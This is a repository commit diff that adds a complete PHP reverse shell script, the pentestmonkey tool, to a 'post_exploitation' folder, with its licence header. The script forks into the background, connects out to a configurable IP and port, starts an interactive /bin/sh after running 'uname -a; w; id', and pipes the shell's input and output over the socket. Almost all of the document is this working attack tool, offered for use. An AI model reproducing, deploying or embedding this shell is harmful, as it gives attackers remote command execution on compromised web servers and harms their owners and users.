Create php-reverse-shell.php

Author: santosomar

post_exploitation/php-reverse-shell.php

@@ -0,0 +1,191 @@
+<?php
+// php-reverse-shell - A Reverse Shell implementation in PHP
+// Copyright (C) 2007 [email protected]
+//
+// This tool may be used for legal purposes only.  Users take full responsibility
+// for any actions performed using this tool.  The author accepts no liability
+// for damage caused by this tool.  If these terms are not acceptable to you, then
+// do not use this tool.
+//
+// In all other respects the GPL version 2 applies:
+//
+// This program is free software; you can redistribute it and/or modify
+// it under the terms of the GNU General Public License version 2 as
+// published by the Free Software Foundation.
+//
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License along
+// with this program; if not, write to the Free Software Foundation, Inc.,
+// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+//
+// This tool may be used for legal purposes only.  Users take full responsibility
+// for any actions performed using this tool.  If these terms are not acceptable to
+// you, then do not use this tool.
+//
+// You are encouraged to send comments, improvements or suggestions to
+// me at [email protected]
+//
+// Description
+// -----------
+// This script will make an outbound TCP connection to a hardcoded IP and port.
+// The recipient will be given a shell running as the current user (apache normally).
+//
+// Limitations
+// -----------
+// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
+// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
+// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
+//
+// Usage
+// -----
+// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
+
+set_time_limit (0);
+$VERSION = "1.0";
+$ip = '127.0.0.1';  // CHANGE THIS
+$port = 1234;       // CHANGE THIS
+$chunk_size = 1400;
+$write_a = null;
+$error_a = null;
+$shell = 'uname -a; w; id; /bin/sh -i';
+$daemon = 0;
+$debug = 0;
+
+//
+// Daemonise ourself if possible to avoid zombies later
+//
+
+// pcntl_fork is hardly ever available, but will allow us to daemonise
+// our php process and avoid zombies.  Worth a try...
+if (function_exists('pcntl_fork')) {
+	// Fork and have the parent process exit
+	$pid = pcntl_fork();
+	
+	if ($pid == -1) {
+		printit("ERROR: Can't fork");
+		exit(1);
+	}
+	
+	if ($pid) {
+		exit(0);  // Parent exits
+	}
+
+	// Make the current process a session leader
+	// Will only succeed if we forked
+	if (posix_setsid() == -1) {
+		printit("Error: Can't setsid()");
+		exit(1);
+	}
+
+	$daemon = 1;
+} else {
+	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
+}
+
+// Change to a safe directory
+chdir("/");
+
+// Remove any umask we inherited
+umask(0);
+
+//
+// Do the reverse shell...
+//
+
+// Open reverse connection
+$sock = fsockopen($ip, $port, $errno, $errstr, 30);
+if (!$sock) {
+	printit("$errstr ($errno)");
+	exit(1);
+}
+
+// Spawn shell process
+$descriptorspec = array(
+   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
+   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
+   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
+);
+
+$process = proc_open($shell, $descriptorspec, $pipes);
+
+if (!is_resource($process)) {
+	printit("ERROR: Can't spawn shell");
+	exit(1);
+}
+
+// Set everything to non-blocking
+// Reason: Occsionally reads will block, even though stream_select tells us they won't
+stream_set_blocking($pipes[0], 0);
+stream_set_blocking($pipes[1], 0);
+stream_set_blocking($pipes[2], 0);
+stream_set_blocking($sock, 0);
+
+printit("Successfully opened reverse shell to $ip:$port");
+
+while (1) {
+	// Check for end of TCP connection
+	if (feof($sock)) {
+		printit("ERROR: Shell connection terminated");
+		break;
+	}
+
+	// Check for end of STDOUT
+	if (feof($pipes[1])) {
+		printit("ERROR: Shell process terminated");
+		break;
+	}
+
+	// Wait until a command is end down $sock, or some
+	// command output is available on STDOUT or STDERR
+	$read_a = array($sock, $pipes[1], $pipes[2]);
+	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
+
+	// If we can read from the TCP socket, send
+	// data to process's STDIN
+	if (in_array($sock, $read_a)) {
+		if ($debug) printit("SOCK READ");
+		$input = fread($sock, $chunk_size);
+		if ($debug) printit("SOCK: $input");
+		fwrite($pipes[0], $input);
+	}
+
+	// If we can read from the process's STDOUT
+	// send data down tcp connection
+	if (in_array($pipes[1], $read_a)) {
+		if ($debug) printit("STDOUT READ");
+		$input = fread($pipes[1], $chunk_size);
+		if ($debug) printit("STDOUT: $input");
+		fwrite($sock, $input);
+	}
+
+	// If we can read from the process's STDERR
+	// send data down tcp connection
+	if (in_array($pipes[2], $read_a)) {
+		if ($debug) printit("STDERR READ");
+		$input = fread($pipes[2], $chunk_size);
+		if ($debug) printit("STDERR: $input");
+		fwrite($sock, $input);
+	}
+}
+
+fclose($sock);
+fclose($pipes[0]);
+fclose($pipes[1]);
+fclose($pipes[2]);
+proc_close($process);
+
+// Like print, but does nothing if we've daemonised ourself
+// (I can't figure out how to redirect STDOUT like a proper daemon)
+function printit ($string) {
+	if (!$daemon) {
+		print "$string\n";
+	}
+}
+
+?> 
+
+